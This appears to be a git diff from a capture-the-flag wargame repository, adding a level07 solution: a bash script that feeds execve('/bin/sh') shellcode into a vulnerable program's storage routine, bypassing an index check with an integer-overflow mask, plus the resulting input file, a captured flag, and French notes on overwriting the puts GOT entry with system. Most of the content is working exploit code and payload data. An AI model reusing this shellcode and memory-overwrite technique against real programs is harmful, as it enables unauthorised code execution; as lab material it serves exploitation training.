diff --git a/level07/Ressources/script.sh b/level07/Ressources/script.sh
new file mode 100755
index 0000000..603ec5e
--- /dev/null
+++ b/level07/Ressources/script.sh
@@ -0,0 +1,45 @@
+#!/bin/bash
+
+
+# shellcode is :
+# \x31\xc0\xb0\x46
+# \x31\xdb\x31\xc9
+# \xcd\x80\xeb\x16
+# \x5b\x31\xc0\x88
+# \x43\x07\x89\x5b
+# \x08\x89\x43\x0c
+# \xb0\x0b\x8d\x4b
+# \x08\x8d\x53\x0c
+# \xcd\x80\xe8\xe5
+# \xff\xff\xff\x2f
+# \x62\x69\x6e\x2f
+# \x73\x68
+
+IFS=''
+
+shellcode=(0x46b0c031 0xc931db31 0x16eb80cd 0x88c0315b 0x5b890743 0x0c438908 0x4b8d0bb0 0x0c538d08 0xe5e880cd 0x2fffffff 0x2f6e6962 0x00006873)
+
+bit_mask=2147483691
+
+init_addr=43
+
+for ((i = 0; i < ${#shellcode[@]}; i++)); do
+    echo "store"
+    echo "$(( ${shellcode[$i]} ))"
+	if (( (i + init_addr) % 3 == 0)); then
+    	echo "$(( i + bit_mask ))"
+	else
+		echo "$((i + init_addr))"
+	fi
+done
+
+echo "store"
+echo "$(( 0xffffd600 ))"
+echo "$(( -1040108880 ))"
+echo "read"
+
+#for i in $(seq 0 11); do
+#	echo "store"
+#	echo "${shellcode[$i]}"
+#	echo $(($i + $bit_mask))
+#done
diff --git a/level07/Ressources/test.txt b/level07/Ressources/test.txt
new file mode 100644
index 0000000..51fd68e
--- /dev/null
+++ b/level07/Ressources/test.txt
@@ -0,0 +1,42 @@
+store
+1185988657
+43
+store
+3375487793
+44
+store
+384532685
+2147483693
+store
+2294296923
+46
+store
+1535706947
+47
+store
+205752584
+2147483696
+store
+1267534768
+49
+store
+206802184
+50
+store
+3857219789
+2147483699
+store
+805306367
+52
+store
+795765090
+53
+store
+26739
+2147483702
+store
+4294956544 (-16 pour le vrai 28 au lieu de 44)
+-1040108880
+store
+42
+42
diff --git a/level07/flag b/level07/flag
new file mode 100644
index 0000000..73271cc
--- /dev/null
+++ b/level07/flag
@@ -0,0 +1 @@
+7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
diff --git a/level07/walkthrough b/level07/walkthrough
new file mode 100644
index 0000000..d2481d0
--- /dev/null
+++ b/level07/walkthrough
@@ -0,0 +1,15 @@
+-1040108880On peut ecrire que 8 octets sur 12
+
+"/bin/sh" c'est 8 char avec le '\0' donc ok pour le modulo
+"/bin" => 0x2F62696E => 794978670
+"/sh\0" => 0x2F736800 => 796092416
+
+
+system on peut le call avec l'addresse, puis l'argument vers esp+quelque chose.
+
+-1040108880 Index a store avec 4159090384 (0xf7e6aed0 ou system)
+ca override le plt/got de puts
+
+
+
+override esp pour avoir le bon argument format addr de system BLANC (modulo 3) addr de /bin/sh
diff --git a/level08/Ressources/level08 b/level08/Ressources/level08
new file mode 100755
index 0000000..49adcdb
Binary files /dev/null and b/level08/Ressources/level08 differ